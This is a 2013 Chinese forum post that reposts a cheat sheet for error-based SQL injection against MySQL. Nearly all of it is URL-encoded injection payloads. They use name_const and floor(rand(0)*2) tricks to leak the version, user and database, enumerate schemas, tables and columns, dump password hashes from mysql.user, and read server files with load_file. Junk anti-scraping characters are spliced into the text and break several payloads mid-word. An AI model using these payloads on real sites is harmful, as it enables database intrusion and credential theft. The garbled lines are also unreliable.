本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 7 H& D4 q( u+ D% A# N: I
8 a/ T/ [/ J S7 U
7 x5 ]. ^# Y1 l* Q( U3 ~Mysql暴错注入参考(pdf),每天一贴。。。) h2 L8 [5 [, P5 M/ A! i3 w
1 c: S2 C2 G$ f; M( `$ BMySql Error Based Injection Reference+ J' W( U" E. v4 e0 b
[Mysql暴错注入参考]
( Y* {1 X# E) SAuthornig0s1992
) W3 U/ Q: A& O& T) F* ~Blog:http://pnig0s1992.blog.51cto.com/, A# D& t3 A+ l! D+ W- j
TeAm:http://www.FreeBuf.com/
8 a, B) ^! N/ U+ C) N0 X ]& ?Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
8 k, k1 V9 \( F% A小部分版本使用name_const()时会报错.可以用给出的Method.2测试
# H# ?5 v0 x! v& z1 S4 d% @查询版本:
# d4 f7 p, l6 TMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+9 c7 e3 n) W) A* X3 D0 ?
join+(select+name_const(@@version,0))b)c). j; x) z) C, v' d) B
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro9 W& n; P3 [1 z4 I# {+ r
up by a)b)
$ w) d$ Q3 D" {; ^2 ?& r: ?查询当前用户:
# I* g6 p, M% B2 t- U) OMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
& k6 G n1 m: e9 ?. AMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r2 _. `/ Y5 A N2 R& ^: t/ k
and(0)*2))x+from+information_schema.tables+group+by+x)a)( }5 G. ~5 a" B3 {. k) C
查询当前数据库:
; `! l( U5 X( Y* X( n% hMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)- o3 O2 }3 V4 a# C, a
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo8 c' |$ c( V* B v% c
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)$ n1 P6 V R) t( T
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+( c4 \ E, y- L
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
3 t+ s3 m" p' b$ C( X9 T, V% O4 s顺序替换: f* D; m; g$ ~, Z$ q
爆指定库数目:
# Y2 Z/ f. T3 W) Z$ Y+ uand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t- }+ ?: D+ P, w x
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
) W4 p8 e5 M: g4 M+by+x)a)+and+1=1 0x6D7973716C=mysql/ _ W) r6 o" j6 P$ O9 _
依次爆表:
& J5 i3 Z3 [3 Jand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
; w; e; X$ {1 M( gable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
: r# ^2 B; o3 v, G# [- t/ Ables+group+by+x)a)+and+1=15 u7 ?* h& @+ }$ y- T2 _4 n# o
0x6D7973716C=Mysql 将n顺序替换7 u) t) N; | A; O. F: e$ t
爆表内字段数目:
: U4 a) G6 i. F4 y3 P4 eand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE' P6 j2 q) p6 O1 ^' G2 [! @) V
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran G, u# A9 s9 l# @/ B
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
% Y# {" b3 b; B$ c8 y依次爆字段:
$ E& w# A# `; yand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
9 }4 Q3 K0 _) H% u5 ]6 V+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1( d: K/ {# h3 r% M
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换" o7 f9 f# s4 Z4 ]( q
依次暴内容:
7 e' k8 g5 m) N" K; rand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche1 o$ ]9 o/ i5 P3 x
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
4 A* g+ e- e1 B" G9 i; N3 }将n顺序替换
0 }/ m0 y: u+ s- |爆文件内容:
. w2 F, U1 f# A# w8 x. Wand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
3 X3 f3 t. Q3 L, xfrom+information_schema.tables+group+by+a)b) * _3 x6 [: \1 n5 ?3 O- L$ A
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
2 B9 h3 \4 `* [: ^Thx for reading.
9 l- \6 o3 S2 b6 t- g# P6 P3 r, S3 x' y0 O9 I
不要下载也可以,
) u8 i9 W6 m3 O" g) Q% ~5 J9 T9 q% s! u |